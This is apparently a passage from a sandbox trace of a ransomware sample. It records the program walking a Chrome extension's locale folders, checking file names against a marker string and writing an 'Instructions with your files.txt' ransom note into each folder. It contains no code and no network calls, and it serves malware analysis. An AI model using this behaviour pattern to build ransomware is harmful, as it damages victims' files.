[0129.474] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\Instructions with your files.txt") returned 174
[0129.474] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.474] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.475] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.475] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.475] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.475] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.476] CloseHandle (hObject=0x134) returned 1
[0129.476] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.476] GetProcessHeap () returned 0x810000
[0129.476] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.476] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8407f920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8407f920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
[0129.476] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs") returned 141
[0129.476] GetProcessHeap () returned 0x810000
[0129.476] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.476] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*") returned 143
[0129.476] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8407f920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8407f920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.477] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\.") returned 143
[0129.477] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8406e7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8407f920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8407f920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.477] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\..") returned 144
[0129.477] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8407f920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84082030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.477] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 155
[0129.477] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.477] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8407f920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84082030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.477] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\Instructions with your files.txt") returned 174
[0129.477] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.477] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.478] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.478] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.478] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.479] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.479] CloseHandle (hObject=0x134) returned 1
[0129.479] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.479] GetProcessHeap () returned 0x810000
[0129.479] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.479] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84090a90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
[0129.479] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da") returned 141
[0129.479] GetProcessHeap () returned 0x810000
[0129.479] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.479] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*") returned 143
[0129.479] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84090a90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.479] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\.") returned 143
[0129.479] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8408bc70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84090a90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.479] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\..") returned 144
[0129.479] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84090a90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.479] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 155
[0129.479] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.479] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84090a90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84090a90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.479] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\Instructions with your files.txt") returned 174
[0129.479] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.480] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.481] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.481] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.481] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.481] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.481] CloseHandle (hObject=0x134) returned 1
[0129.481] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.481] GetProcessHeap () returned 0x810000
[0129.481] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.481] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8409cde0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
[0129.481] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de") returned 141
[0129.481] GetProcessHeap () returned 0x810000
[0129.481] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.481] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*") returned 143
[0129.481] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8409cde0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.482] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\.") returned 143
[0129.482] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84097fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8409cde0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.482] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\..") returned 144
[0129.482] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8409cde0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.482] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 155
[0129.482] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.482] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8409cde0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8409cde0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.482] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\Instructions with your files.txt") returned 174
[0129.483] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.483] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.484] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.484] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.484] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.484] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.484] CloseHandle (hObject=0x134) returned 1
[0129.484] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.484] GetProcessHeap () returned 0x810000
[0129.484] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.484] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84116f00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
[0129.484] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el") returned 141
[0129.484] GetProcessHeap () returned 0x810000
[0129.484] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.484] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*") returned 143
[0129.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841147f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84116f00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84116f00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
